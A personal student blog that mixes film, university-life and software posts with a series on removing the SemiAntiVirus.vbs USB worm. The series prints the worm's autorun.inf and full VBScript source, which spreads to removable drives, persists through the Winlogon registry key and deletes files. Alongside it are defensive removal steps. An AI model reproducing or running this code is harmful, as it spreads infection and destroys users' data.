SlumDog Millionaire

Image taken from here


Just watched SlumDog Millionaire

It was thrilling,
funny,
sad,
sympathetic,
loving,
cruel,
interesting.....
and ete etc

I don't know, all the adjectives in the world would do it justice!

A film not to be missed.

not because it is Indian,
not because it has won sooo many awards
not because it is a love story

But it is the story of fate,

yes it is written

ARTS is NotShiT

This post goes out to all the people who think that ARTS degrees are of no value. For the Information of you guys, I will tell you of the subjects that I have to follow this semester, and had to follow last semester. I'm doing Sociology, Management and Western Classical Culture(WCC) as main subjects and apart from them we have follow two foundation courses per the requirements of the university(I'm referring to the faculty of Arts in Peradeniya University)

For Sociology, we had to study all sorts of theories and introductions to the subject and this term, we are dealing with Sri Lankan Society from Vijaya to the modern period.(well some thing similar to the O/L history part but more in detail)

For Management, we had to learn about the theories and the four major functions of Management, planning, organizing, leading and controlling and this time, we have to Accounting with a nice young lecturer

For WCC the syllabus for this term can be found here and for the last term, we had to do Odyssey and Argonautica. Yes, two big books

For the foundation Courses, we had to do Maths and Writing Skills and Computer last term. Now I must tell you something of these three subjects.

Maths was hard because apparently, it used to have elements from the the syllabus of the Engineering guys at UoM.

Writing skills was harder because, we had to write research papers and critical arguments just after setting the foot in to the university.

Computer was hard because it was soooo hard to find a free computer in our lab.(other than that, for me, it was OK. I do not know about others. Just the history and introduction to networking and hardware stuff. No programming at all. Instead we had some advanced work to be done with Office package)

And this term, the foundation courses include basics of the following subject areas.

Human Mind

World Religion

Law and Ethics

Art and Aesthetic Subjects

Environment

Society and Culture

International Relationships

History of Science

According to Prof Desmond Mallikarachchi who had designed the course, the above subject makes a qualified undergraduate. To be called an real graduate, you should at least know basics of the other subject ares as well

Now,One question for you Engineers, Scientists, Financial Experts and Doctors....

What do you know about Art and Aesthetic? International Relationships?Society and culture? Of course, if you are exceptional engineer or a doctor, you will say yes to at least for one question. But for many, it is a “big no”.

Any way, on the contrary, the Arts graduates have the opportunity to learn something out of their subject matter, which in my idea, is a great achievement.(here in pera, we are given the chance to attend lectures in any faculty but the students hardly do it. It is another problem)

But still, in the long run, they(not Arts graduates) get jobs and a good salary while the “real graduates” sleep in the pavements.

So, the public think that doing Arts is useless. Children choose Maths and Bio science for the Advanced level examination and when they get screwed up for several times, they learn the so called useless arts subjects to get into the university. For many think, arts is the easiest of all the streams in the Advanced level. But it is not and I have the right to say so because I have experienced how it is to do English, French and Greek and Roman Civilization to get into the University.

I have deliberately put in my A/L subjects because they too belong into the category of Arts. Well but many think those subjects belong to a new category called languages. No it is not, they are same as Sinhalese,Logic and Political Science. The only difference is the medium of instruction.

However, there is a general idea among the public that doing Languages worth it than doing Arts. There is little truth hidden in the statement because the competency in English language always matter a lot in getting a job in Sri Lanka.

But knowing English itself is not enough to get a good job. You should have the knowledge in the subject matter the way the world demands. For example, learning how to draw a graph using Microsoft Word 95 is considered nothing these days.

Unfortunately, the knowledge of the students who learn in Sinhalese has ultimately fallen into that category today. I m not asking all the students to offer courses in English medium After all it is our mother tongue. But they should have a working knowledge of English so that they can apply what they learned into big companies.

And that is exactly what most of the Sinhalese Medium students lack. There are many reasons for that but I would not like to deal about them further because Prof. Shantha K. Hennayake has already done that here. ( Refer to the section on ragging)For your information, I would quote his article here.

"Students should not speak in English as it’s the "para bhasawa". (meaning not only a foreign but also oppressive). Generally the union leaders are English illiterate English."

With such practices, I wonder whether the efforts of the ELTU are fruitful. But they are doing a good job in the university. Hats off to you nice ladies and gentlemen!!

Another thing is the lack of computer knowledge. Some times, even a simple thing like formatting a USB Drive. The most common reason given by such students is their inability and the fear. There can be other reason like the ones I explained in one of my earlier posts. Anyway, such things are unforgivable at the University level. You have a computer lab where you can do anything(I mean not changing the OS, but simple things that are vital in day today's life.) So you can practice and learn, After all if we do not make use of the facilities who would?

English medium students too have this problem but at least they have English; something very very important for a good carrier like computer knowledge.

So, due to the lack of those simple two facts we ARTS students are considered to be the lower class in the hierarchy of the Faculties in Sri Lanka.

But in the reality, we are taught about the humanity so that we should have the ability understand it ,to be flexible and adopt to any situation easily. We have the best knowledge base in Sri Lanakan students; I mean, with regard to the breadth of it.

Earlier, an Arts degree was something to do with Sinhalese, Political Science and Sanskrit. But these days, the trend is changing. You have the access to many fields such as management, computing ., law and many things. (Well, I'm not talking about the private universities)

And if you have the means, doing another degree or a diploma in a private institution to is possible. But if you make the best use of University of Peradeniya, you can have an Arts degree as well as a part of the Engineering Degree(cz you can go for the lectures in the Eng fac if you wish. I do not know about the other universities)

My dear sisters and brothers who are planning to enter into the university, why don't you give a heed to these thoughts and decide your University life today it self?

After all, ARTS is not shit if you manage it properly!!

(Will talk about my point of view about this in the future)

Clean your system after SemiAntivirus.vbs attack

To get the most out of this post, read the following blog posts first.If you feel you do not understand what the commentators have said, don't worry, I have taken the gist of the comments to write this.

Find out how SemiAntiVirus.vbs has come into your machine and how to delete it

Errors that can be possibly shown after you (or Anti Virus Software) delete SemiAntiVirus.vbs

Read the script of SemiAntiVirus.vbs

and here in this post, I will tell you how to fix the errors

Fixing the Windows Script Host Error which puts up a pop up window at the start up saying "cannot find script file c:windows\system32\semiantivirus.vbs"

Reasons

This happens because the virus is coded to launch with the userinit.exe which manages the start up sequences at the start up.

When the computer boots, userinit.exe is executed and then, it looks for the semiantivirus.vbs to execute. But we (or the anti virus software) have deleted the semiantivirus.vbs in this step.

Since the computer cannot find the semiantivirus.vbs file it displays the above pop up window

So, first, you have to break the link between the userinit.exe and semiantivirus.vbs

Fix

1.Open Registry Editor (Start-->Run-->regedit-->OK)

2. Go to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion and select \Winlogon

3. On the right side pane, you will see a long list of entries. Out of them, right click on userinit and select Modify

4.In the Value Data text box, you will see something like C:\WINDOWS\system32\userinit.exe,c:windows\system32\semiantivirus.vbs

5. Modify the value to C:\WINDOWS\system32\userinit.exe and click ok (then, the userinit registry entry should look like this. Look at the status bar for navigation details)

6. Close the registry editor and restart the computer

--OR--

If you like to do it in the command prompt this is the command reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d %%SYSTEMROOT%%\System32\userinit.exe, /f

Fixing the Internet Explorer

Reasons
It looks like this because the virus has edited the registry entries for the Title bar and the Home Page

Fix for the Title Bar
1.Open Registry Editor (Start-->Run-->regedit-->OK)

2.Go to HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer and select main

3. On the right side pane, you will see a long list of entries. Out of them, right click on Window Title and select Modify

4. Under Value Data, you will see LRI Internet Explorer. Change that to Internet Explorer and click ok

--OR--

If you would like to do it in the command prompt, this is the command reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Window Title" /d "" /f


Fix for the Home Page
1. Repeat the 1 and 2 steps of the Fix for the Tiltle Bar

2.On the right side pane, right click on Start Page and select Modify

3. Fill in the Value Data box with the URL of the page that you wish to have as your home page(For example,www.google.lk) and click ok

--OR--

If you would like to do it in the command prompt this is the command reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.google.lk/" /f

--OR--

Do it simply in the settings of Internet Explorer
1.Go to Tools-->Internet Options-->General-->Home Page

After completing above steps, the registry entry for Internet Explorer should look like this(look at the status bar for navigation details) All the changes would be visible after you restart Internet Explorer

Completing the above steps should remove the implications of the semiantivirus.vbs attack on your computer.

And thank you Shaakunthala, Sadeepa, Isuru and Abish for your valuable comments in earlier posts!!

This is me!

I found this website in the morning with all those funny quizzes. According to the site, this is me.

You Are Influential and Skilled

You are balanced, orderly, and organized. You like your ducks in a row. You are powerful and competent, especially in the workplace. People can see you as stubborn and headstrong. You definitely have a dominant personality. You are friendly, charming, and warm. You get along with almost everyone. You work hard not to rock the boat. Your easy going attitude brings people together. At times, you can be a little flaky and irresponsible. But for the important things, you pull it together. You are influential and persuasive. You tend to have a lot of power over people. Generally, you use your powers for good. You excel at solving other people's problems. Occasionally, you do get a little selfish and persuade people to do things that are only in your interest. You tend to be pretty tightly wound. It's easy to get you excited... which can be a good or bad thing. You have a lot of enthusiasm, but it fades rather quickly. You don't stick with any one thing for very long. You have the drive to accomplish a lot in a short amount of time. Your biggest problem is making sure you finish the projects you start. You are a seeker of knowledge, and you have learned many things in your life. You are also a keeper of knowledge - meaning you don't spill secrets or spread gossip. People sometimes think you're snobby or aloof, but you're just too deep in thought to pay attention to them. You are usually the best at everything ... you strive for perfection. You are confident, authoritative, and aggressive. You have the classic "Type A" personality.

What's Your Name's Hidden Meaning?

Do you have anything to add or delete?

After effects of removing the SemiAntiVirus.vbs my way

I still did not encounter any problems except this error message at the start up. The file missing is the Virus file which I deleted this way. I do not understand how to fix this. Please help

And the Internet explorer looks like this. The title is changed into LRI Internet Explorer and the Home page is changed into about.blank. keep it touch, answers to all these problems will be in the blog soon PS: I Found out how to fix these two errors. If you are interested in click here

Removing the SemiAntiVirus.vbs file from an infected computer or a USB Drive

I found my own way to remove the the SemiAntiVirus.vbs virus i mentioned in the last post. My computer is running on Windows XP (Service pack 3) platform and therefore, I do not think this will work on any other platform.

Symptoms(As I experienced. If you have more, please add in the comments section)
1. When I click on the shut down button, it logs off and restarts several times. I had to wait until it comes to the welcome screen, and again click on the shut down button to make it really "shut down"
2.The title bar of Internet Explorer was changed into "LRI internet Explorer"(and also, the home page was changed into about.blank)

3.I could not stop a USB drive in order to remove it safely. It says that another programme is using the USB drive but I was sure that no data transfer between the computer and the USB Drive was happening at that time
4.My Folder settings were changed automatically to not to show hidden files and folders.

How to prevent
This is spread through USB drives. This is how the Autorun window and the files in an affected USB drive would look like. If you get a Window like this, click on take no action and OK ( Pavi, sorry I had to tell everybody that I got it from your Pen)
The best way to prevent is to use the Explorer facility in Windows. As I have done above, open my computer, click on Folders and select the USB Drive you want to open from the folders panel. Note that the Auto Run Window says that there is a Program in the USB DRIVE. In reality, it is the virus program. Now, simply select the autorun.inf file and the SemiAntiVirus.vbs and press Shift+Delete. It will remove the virus from the USB Drive. But, if your machine is infected you have to remove it.

NOTE::If you are really interested in knowing about viruses and how do they work,right click on a file and select Open with notepad. then you will get a text like this which explains how does the virus really infect your system

Removing the virus from the computer

It is a simple process. if you have Process Explorer, open it and look for wscript.exe(In my case, it is wscript.exe because the programme creates an object called Wscript.Shell)

If you don't have it download and install from the above link. It is really worth having it on your computer.

Right click on the process and select properties. In the properties window, you can find the actual place where the virus is saved by looking at the path. in my case it is -->c:windows\system32\semiantivirus.vbs


But if you look for the command line, you can see that the process is executing semiantivirus.vbs, which, in another words, the virus file.

(That is why we cannot stop a USB Drive and the The Title bar of IE says LRI Internet explorer. If you look at the code, you will understand it better.)

First kill the wscript.exe process and then go to c:windows\system32\semiantivirus.vbs

Find the semiantivirus.vbs file and delete it permanently (select the file and press Shift+Delete)

There you go!!

Another interesting thing.

Here I found that the WScript.exe is the version of Windows Script Host that enables you to run scripts from Windows.

How ever, Im pretty sure that I deleted the virus file disguised in the name of the original windows WScript file.



So after all,everything is simple..have fun..love you virus!!

PS: If you know any other ways and if you think my way is wrong, please do not be hesitated to comment. I love learning

PS2. Removing the virus file is not enough to get away with it. After removing the file, please continue reading this post to clean up the after effects of the virus attack

Dear SemiAntiVirus.vbs, you are gladly welcome to my machine !

mm well I'm proud to announce that I do not use an anti virus guard or a virus removal tool or anything of that kind. In my computer, it is all about manual virus removal or rather prevention.

But yesterday, I came across this damn thing which does awful things like changing the folder settings. I have set folder settings to show the hidden files, but in few seconds it was changed into do not show hidden files and folders.

soooo, after all, my computer too was infected. It was a quick virus/worm I say. I was trying to format a USB drive and suddenly,it was there!!

Here is the script if any one is interested.


This is the auto run file

[autorun]
open=wscript.exe SemiAntiVirus.vbs
icon=%systemroot%\System32\SHELL32.dll,8
action=Open folder to view files
shell\open=Open
shell\open\Command=wscript.exe SemiAntiVirus.vbs
shell\Auto=AutoPlay
shell\Auto\Command=wscript.exe SemiAntiVirus.vbs
shell\Explore\Command=wscript.exe SemiAntiVirus.vbs
shell\Find=Search...
shell\Find\Command=wscript.exe SemiAntiVirus.vbs
shell\Format...=Format...
shell\Format...\Command=wscript.exe SemiAntiVirus.vbs

Note: Now you cannot be assured that formatting an affected USB drive is a safe way to get rid of viruses etc. For example, this virus gets into the computer in 5 methods as the above code suggests

1.Opening
2. Using Autoplay feature
3. Exploring(right click and select explore)
4.Searching for the files saved in the USB drive
5. formatting

Interesting!!

The actual virus script which can be found in c:windows\system32\semiantivirus.vbs

To tell the truth, i do not understand a single line of this coding(except the italicized part which has a good sense of humor) but hope it would help the computer geeks in finding a solution

Important: please do not use this information for unethical purposes

'******************************************************************
'********************* Virus Removal VBScript *********************
'************************** Version 1.00 **************************
'******************************************************************
'This antivirus program is intended to repair your computer from
'any sorts of virus attacks.
'This program is exactly like a normal virus but it repairs things
'rather than destroying them and its specially for LRI School only.
'I am not responsible if it goes to other place.
'If you do not belong to LRI Family then, please .......
'Author : Rajkumar Ghale (edited of VirusRemoval.vbs) of Sujin
'About me: I got a lots of program.
' If u want them, then u can contact me.

'Original Copy : Boot.vbs
'Virus Name : isetup.exe or Kinja.exe

'Another Copy : Sys.vbs
'Other Copy by Sujin : VirusRemoval.vbs
'******************************************************************
'******************************************************************

Option Explicit
On Error Resume Next

Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,folder,Files,Delete,auto,root,rtn,appfolder,kinzadir
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shells = CreateObject("Wscript.Shell")
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir =Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(WScript.ScriptFullName)
Set Drv = File.Drive
appfolder=Shells.SpecialFolders("AppData")
kinzadir = appfolder & "\dxdlls"
Set InDrive = Fso.drives
Set ReadAll = File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbcrlf
Loop

crvbs SystemDir,"SemiAntiVirus.vbs"

Shells.RegWrite "HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD","0","REG_DWORD"

Count=Drv.DriveType

Do

delt SystemDir,"scvvhsot.exe",true
delt WinDir,"scvvhsot.exe",true
delt SystemDir,"blastclnnn.exe",true
delt SystemDir,"dxdlg.exe",true
delt SystemDir,"wprop.exe",true
delt SystemDir,"boot.vbs",false
delt SystemDir,"imapd.exe",true
delt SystemDir,"imapdb.exe",true
delt SystemDir,"imapdc.dll",false
delt SystemDir,"imapdd.dll",false
delt SystemDir,"imapde.dll",false
delt SystemDir,"kinza.exe",true
delt SystemDir,"isetup.exe",true
delt SystemDir,"Drivers\etc\hints.exe",true
For each Files in kinzadir.Files
set WriteAll = Fso.GetFile(Files.Name)
set Delete = WriteAll.Delete(True)
Next
set WriteAll = Fso.GetFoler(kinzadir)
set Delete = WriteAll.Delete(True)
Shells.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue","1","REG_DWORD"

Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","LRI Internet Explorer"
Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions","0","REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","0","REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","0","REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","explorer.exe"
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\SemiAntiVirus.vbs"

For Each Drives In InDrive
root = Drives.Path & "\"
If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then
Shells.Run "explorer.exe " & root
End If
Set folder=Fso.GetFolder(root)
Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)
Set Delete = Fso.DeleteFile(SystemDir & "\VirusRemoval.vbs",true)
If Drives.DriveType=2 Then
delext "inf",Drives.Path & "\"
delext "INF",Drives.Path & "\"
End if

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path<> "A:" Then
delext "vbs",WinDir & "\"
delext "vbs",Drives.Path & "\"

delt Drives.Path, "ravmon.exe",false
if Drives.DriveType = 1 then
crvbs Drives.Path,"SemiAntiVirus.vbs"
End if
delt Drives.Path,"sxs.exe",false
delt Drives.Path,"kinza.exe",false
delt Drives.Path,"SCVVHSOT.exe",false
delt Drives.Path,"New Folder.exe",false
delt Drives.Path,"Autorun.inf",false
delt Drives.Path,"isetup.exe",false
delt Drives.Path,"explorer.exe",false
delt Drives.Path,"smss.exe",false
delt Drives.Path,"winfile.exe",false
delt Drives.Path,"run.wsh",false

If Drives.DriveType = 1 Then
If Drives.Path<>"A:" Then
crinf Drives.Path,"autorun.inf"
End If
End If
End if
End If
Next

if Count <> 1 then
Wscript.sleep 2000
end if


loop while Count<>1


sub delext(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFileSys.GetFolder(SrchPath)
Set File = oFileSys.GetFile(WScript.ScriptFullName)

For Each oFile In oFolder.Files
Cut=Right(oFile.Name,3)
If UCse(Cut)=UCase(file2find) Then
If oFile.Name <> "SemiAntiVirus.vbs" Then set Delete = oFileSys.DeleteFile(srchpath & oFile.Name,true)
End If
Next
End sub

sub delt(fPath, fName, kil)
dim fSys, Delet, Wri, raj
set raj = CreateObject("Wscript.Shell")
set fSys = CreateObject("Scripting.FileSystemObject")
if fSys.FileExists(fPath & "\" & fName) then
if kil = true then
raj.Run "taskkill /f /im " & fName,0
set Wri = fSys.GetFile(fPath & "\" & fName)
Wri.Attributes = 0
set Delet = fSys.DeleteFile(fpath & "\" & fname,true)
else
set Wri = fSys.GetFile(fPath & "\" & fName)
Wri.Attributes = 0
set Delet = fSys.DeleteFile(fpath & "\" & fname,true)
End if
End if
end sub

sub crvbs(fPath, fName)
dim dt, dt1, fSys, Writ, mfile, ReadAl, AllFil, chg, aLine, eLine,Shells
set fSys = CreateObject("Scripting.FileSystemObject")
set mfile = fSys.GetFile(WScript.ScriptFullName)
Set ReadAl = mfile.OpenAsTextStream(1,-2)
do while not ReadAl.atendofstream
AllFil = AllFil & ReadAl.readline
AllFil = AllFil & vbcrlf
Loop
If fSys.FileExists(fPath & "\" & fName) then
set Writ = fSys.GetFile(fPath & "\" & fName)
dt = Writ.DateLastModified
dt1 = mfile.DateLastModified
if (datevalue(dt1)-datevalue(dt)) > 0 then
delt fPath,"SemiAntiVirus.vbs",false
set Writ = fSys.CreateTextFile(fPath & "\" & fName,2,true)
Writ.Write AllFil
Writ.close
set Writ = fSys.GetFile(fPath & "\" & fname)
Writ.Attributes = -1
end if
else
set Writ = fSys.CreateTextFile(fPath & "\SemiAntiVirus.vbs",true,true)
Writ.Write AllFil
Writ.close
set Writ = fSys.GetFile(fPath & "\" & fName)
Writ.Attributes = -1
end if
end sub

sub crinf(fPath, fName)
dim dt, dt1, fSys, Writ, mfile, ReadAl, AllFil, chg, aLine, eLine,Shells
set fSys = CreateObject("Scripting.FileSystemObject")
eLine =eLine & "[autorun]" & vbcrlf
eLine =eLine & "open=wscript.exe SemiAntiVirus.vbs" & vbcrlf
eLine =eLine & "icon=%systemroot%\System32\SHELL32.dll,8" & vbcrlf
eLine =eLine & "action=Open folder to view files" & vbcrlf
eLine =eLine & "shell\open=Open" & vbcrlf
eLine =eLine & "shell\open\Command=wscript.exe SemiAntiVirus.vbs" & vbcrlf
eLine =eLine & "shell\Auto=AutoPlay" & vbcrlf
eLine =eLine & "shell\Auto\Command=wscript.exe SemiAntiVirus.vbs" & vbcrlf
eLine =eLine & "shell\Explore\Command=wscript.exe SemiAntiVirus.vbs" & vbcrlf
eLine =eLine & "shell\Find=Search..." & vbcrlf
eLine =eLine & "shell\Find\Command=wscript.exe SemiAntiVirus.vbs" & vbcrlf
eLine =eLine & "shell\Format...=Format..." & vbcrlf
eLine =eLine & "shell\Format...\Command=wscript.exe SemiAntiVirus.vbs" & vbcrlf
If fSys.FileExists(fPath & "\" & fName) then
set Chg = fSys.GetFile(fPath & "\" & fName)
set ReadAl = Chg.OpenAsTextStream(1,-2)
do while not ReadAl.atendofstream
aLine = aLine & ReadAl.readline
aLine = aLine & vbcrlf
Loop
ReadAl.close
If trim(aLine) <> trim(eLine) then
Set Writ = fSys.CreateTextFile(fPath & "\" & fName,2,True)
Writ.write eLine
Writ.close
Set Writ = fSys.GetFile(fPath & "\" & fName)
Writ.Attributes = -1
End if
else
set Writ = fSys.CreateTextFile(fPath & "\" & fName,2,True)
Writ.Write eLine
Writ.Close
Set Writ = fSys.GetFile(fPath & "\" & fName)
Writ.Attributes = -1
end if

End sub




i am still tring to find a way to remove this. the vbs file cannot be deleted as it says that it is being used by another program.

mm and the best part is it doesnot allow another AVG to be installed in the machine. i tried to install Avast, but the moment the setup.exe loads, the machine restarts.

cooool, keep in touch, i'll post how to remove it if i find a way.

untill then, have fun!!

PS:: if you know any way to remove this, please you are more than welcome

OH, university again, our second semester.

I had to get up at 6.30 and have a bath (it was cold, dread cold. But had to do it cz if not, I would smell like a rotten rat). Ok, guys, this is the typical me going to the university.

Gulp a plate of rice and curry down the throat and off I run to catch a bus. I was at Galaha Junction by 7.40, almost ten minutes late and to my dismay, the one who should be waiting for me was missing. Waited for another 5 minutes and texted her( you guys thought it was my BF right?? heh hee nope, it was my friend—a girl) that I would be going and meet you under the senate and stuff.

Ah, it was too late,walking to the faculty was impossible. So boarded a bus. Guys you know, that conductor took only 6 rupees from Galaha Junction to the Faculty of Arts. Good start, isn't it?

Then the “gal kanu yata sangame” aka our gossip corner. It was fun to check out how each and everybody was doing during the vacation. Well for the first time in my life, I got to know the important of the “pacha bankuawas” in the village boutique. It is a good place to pass your time when there is nothing to do and a good source of information about the things happening around. Not to mention, it is a bond developer too, well I mean not like Harcobond, it helps you to strengthen the friendship between the batch mates. In our case, we had no time table, any information on the additional courses that we have to follow this semester. so, gossiping was the only activity which kept us busy.

When, the mouths were tired of talking and the ears were tired of listening, some went to the gym and some just walked around to say hi to departments and the much loved stair cases in the library and the Sociology Department building. My bloody phone vibrates at this moment. A SMS, the one that my friend had sent in the morning to say not to wait for her in Galaha Junction. Mobitel, you really rock my world!! Rs6/= for an incoming text message and yet you have the guts to say you care always..bus conductors may be..

People who went to the gym were missing but all the dudes who went to say hi to the departments were returning in minutes as if they were bound by an elastic to the stone pillars. The Departments were all closed or either, not in function properly. We were lost, we had nothing to do, some had got hold of the course schedule for English and WCC but we didn't know whether we had the lectures that day or not.

We were hopeless, but as usual, we find hope in the hopelessness. The hope of having a fun!! no need to explain, you know the fun right? For the university students, imagine how you feel a two hour boring lecture is canceled without no cover up. For the school goers, imagine how you feel when this all hated and all insulted teacher doesn't come to the class due to a meeting with a principal.

All of a sudden, the corridor in front of the Deans' Office gets crowded as if SRK had visited the office. Then we know that the time table was out. We were used to that nice little time tables in the school but this one was horrible. Imagine all the courses offered to all the years in one big thing. If you really want to imagine how big it was multiply 9 by 5(number of hours in one day into number of days)and again multiply the result by number of lecture halls available in the faculty(more than twenty I suppose) so approximately, the time table has 900 cages!! you have to search for the relevant 15 cages to decipher out your proper time table from that “thing”. Oh, it was tiresome. Hope we had an on line system to check out the time tables( heard such a program is being developed. Hope it would come out before I pas out)

Another notice is then seen in the notice board of our Department of ********

“All the students who do **** come to meet Mrs********** with a copy of ******* by*****( Penguin edition, translated by*****)” but that was not what the schedule said. We were supposed to do something else in the first two weeks of the semester!! but what to do, they rule the world you know.

Off I ran to the library to get a book and as usual there was no book to be found. To be exact, no Penguin Edition. There was a Oxford University Press Edition available, but hell, it was not what the lecturer wanted. Hopeless again, went to the department to say that the book is not in the library. we met the lecturer only to hear her say that what ever, she is going to do the lecture( with or without books)..mm uni is cool right? This is just the beginning of the tragedy. Last time I screwed up the **** paper because I didn't read much. But this time, I took the course schedule in advance and read for the first play that we have to do. But alas, I was again yawning in the class for 2 hours with no clue on what is being said.

Hmm...This is what do you call the university life in Sri Lanka.

Only one girl in the class had a copy of the play (not the required version, she had burrowed the Oxford University Press Edition from the library) but that was only our problem, she finished a two third of it. That is why people say that university is all about self studying, do you get it guys and girls? That is it.

It was yesterday.

Today was no better. We were to have a lecture from 8-10. we were nicely seated in the lecture hall by 8 but not even a shadow of a lecturer was in the vicinity. So we had our own lectures on gossiping, emailing, texting and cheating in the exams etc etc.

the most interesting gossip I heard was that even the lecturer had been using the Oxford University Edition in yesterdays lecture. So why bother about penguins, hoping get a photocopy of the Oxford Edition, came out of the lecture hall and that was the second day of the second semester. Hope the third will be better!

This is not funny OpenOffice, you made me crazy.

This post is dedicated to my dear computer system, OpenOffice.Org writer and the Electricity Board of Sri Lanka.

hi!!

After a long time ha?

You may wonder why I was not active during the last few days.

When I was typing hard to quench your thirst, the monitor went suddenly off. Power failure again. I have a UPS but it is not connected to the monitor.

So the monitor went off but the system was still running.

“ctrl+s”ed several times and pushed the power button. But the familiar beeps were not heard. Instead the red bulb in the casing was running as if it was normally working.

I was not very sure whether I saved my document. So I typed in “ftrrergihoo” and pressed enter but no reaction. (I really do not know what has happened at this time)

Time to experiment. Pressed all the funny looking keys on the keyboard. One key made the machine sleep and at once I thought it was shut down. But wait, I heard a noise which means that machine was just sleeping.

Pressed the re start button cz I know something was going wrong. The machine restarted and the monitor is still off. The UPS was hooting his mouth off and my brother was shouting his*** off.

The UPS gave a really fine hoot and went silent. hi there all the Electricity people, I love you more than my life! This is the second time (for today) you made me hear the lovely songs of the rocking UPS.

Everything silent, a moment gone and the UPS shows the Green light.

The machine boots again. No worries, no scan disks and all the play things. It just came into the welcome screen. On launching the Writer, there comes a message saying that I have to recover a document, in another words, my next blog post. While recovering, it says that my document is not saved and therefore is an error recovering the document. I was nuts. As you all know I pressed ctrl+s so many times right?(I love OpenOffice too) however, I was given the choice to save the recovered part of the document. I did save it and opened the document, what do you thinkI saw?

Another blank document!! ( you know how I love myself right?)

What to do. Back to experiments. First, opened a blank document and pressed ctrl+S and got to know how to save a document even if my monitor was off. Then tried pushing all the funky keys on the key board. One made it shut down.

Now I know, pressing that button makes it shut down. I was in a mood for experiments. Turned on the computer again to write about my experience to the fellow bloggers.

I mean to ask all of them to practice some blind computing as I did.

And guess what, I opened the blank document I had saved in the recovery process to type in the post and it was there!!Without missing a single letter(oh how I love open office!) OMG, at last, i have got everything back.

I think this had happened cz of one thing. Simply, I have set the auto recovery information to be saved after each one minute. Seems OpenOffice had done his job property even though I had not done it.

(in another words OpenOffice had saved a auto recovery details so that i could get my original document back even though i had not saved it manually. try it yourself and see.)I do not know if MS word offers such cool features as I have not being using word for a long time.

Whatever,East or West

OpenOffice is the best!

Music is just a click away- part 2

The second one is Sings Box. It is still in beta version, However, it has the ability to catch the teen mind.(you can search for Hindi Music too)

Suppose you searched for "Enya".

Then you will come across a page where you have the ability to listen, add the song to your play list or to get the embedded code to be put in your website or blog (not to mention, you can report the broken links too).


If you click on play, the song will be played in a pop up window like this. It would be useful if you are looking for a particular song. If you want to listen to an album, it would would be a totally mess this way (you have to open 16 pop up windows if the album has 16 songs).


Do not worry, they have found a solution for that. You can log in and add the songs to a play list where you can nicely let it play and do your work.

This player is not eye catching as Musicovery. however,it is simple and plain enough to catch the attention of a any music lover. after all, this too is for free

Third one is not really a music player but a website for a band called LODGER (made out of human skeletons scary ha?). There is nothing special but it is funny to click on them and see how they react. have a look!!

Music is just a click away- part1

These posts are to tell you about two on line music players that I have been using for some time.

My first on line music player was Musicovery. It is a player based on your mood. For example, if you want calm music, you can select calm and the player will search for soothing music to play for you.If you want to dance, select the dancing mood you are in!!

If you are in a mood in between calm and positive, you can click in between calm and positive.

How ever, if you do not want to hear calming music that comes under classical music category you can simply do it by leaving the check box in front of classical blank.If you want to listen to latest music only, then you can set the time period. cool, isn't it?

There are four modes;Discovery, hits ,play my favorite universes, play my favorite artists and play my favorites.

Discovery plays all the music that are listed under the mood that you select. you can guess on the other right? And also note the way musicovery tells me that the song being played is "pop" and it was composed in 2002


One shortcoming of this player is that you cannot decide on the musician. The player selects songs according to your mood.Thus, I think this is a good player for those who like to find new musicians to suit your taste. For example, I came across some amazing french Musicians through Musicovery.

However, if you really hate a song that is played, you can click on "never play button" and it will
never be played again.On the other hand,if you click on the "heart", it will be added into your favorites.

Playing the favorites as a play list is not possible until you get a paid membership. How ever you can easily find and play and edit the banned song list and the favorite song list from the menu. If you want to buy the album, links to Amazon, iTunes and EBay too are included.

The best part is the User interface. I know you will love it. Here is a screen shot.




If you believe it or not, this is the play list.music will start to play from one end of the line that goes all over the screen and when it comes to the end, you can select a new mood.and also,you can always skip songs, (but it has a limit, say, not more than 10 times.)

price:::: the best price in the world--free(but if you want more facilities you can always pay and have them)

Analyze the anatomy of your enemy's web site

This is about a site which can analyze any website that you want to. Just enter the web site you want to analyze and hit enter. If you entered my blog address, you might end up with something like this.

I think the tool is quite useful for people who are interested in web designing.

And on the other hand, if people start to use the site's technology for unethical purposes, it would be a curse for the whole world too!!

If you feel like interested, click here to visit the site.

Guys I'm sick of your blogs

I'm jealous of pahan , indi and shakunthala because i do not know how they have developed such sites

I hate sudaraka because he makes my blog a website of a 5th Grader

I avoid visiting chamila and kalinga because they eat my time


And above all I m sick of all you guys for you all have proved that girls are dumb when it comes to computing( I m not talking about the blog posts. I m referring to the format, color combinations and the technologies that you have used to make the pages appear dangerously lovable)

